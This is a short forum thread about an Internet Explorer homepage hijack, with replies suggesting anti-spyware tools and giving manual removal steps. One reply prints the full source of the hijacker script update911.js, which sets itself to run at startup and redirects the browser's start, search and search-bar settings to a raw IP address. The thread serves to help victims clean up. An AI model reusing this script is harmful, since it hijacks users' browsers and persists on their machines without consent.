Home Page virus

  • Thread starter Thread starter Bobby Jones
  • Start date Start date
Your IE has been hijacked by spyware. Download Ad-aware or Spybot Search
and Destroy.
 
A file called update911.js is placed in your WinNT or Windows
directory
Content of the file:

var url = "http://81.211.105.9/index.php?v=1";
var burl = "http://81.211.105.9/search.php?v=1";
var fso = new ActiveXObject("Scripting.FileSystemObject");
var tfolder = fso.GetSpecialFolder(0);
var filepath = tfolder + "\\update911.js";
var Shell = new ActiveXObject("WScript.Shell");
Shell.RegWrite("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\tlc",filepath);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Start Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Search Page",url);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Search Bar",burl);
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Use Search Asst","no");
Shell.RegWrite("HKCU\\Software\\Microsoft\\Internet
Explorer\\Main\\Use Custom Search URL",1,"REG_DWORD")

It is called in the Windows registry;
1. Open Regedit Start/Run/regedit.exe
2. search for "update911.js" and delete the key(s)
2. search for "http://81.211.105.9/index.php?v=1" and delete the
key(s)
3. Delete the file update911.js in your windows folder
 
Back
Top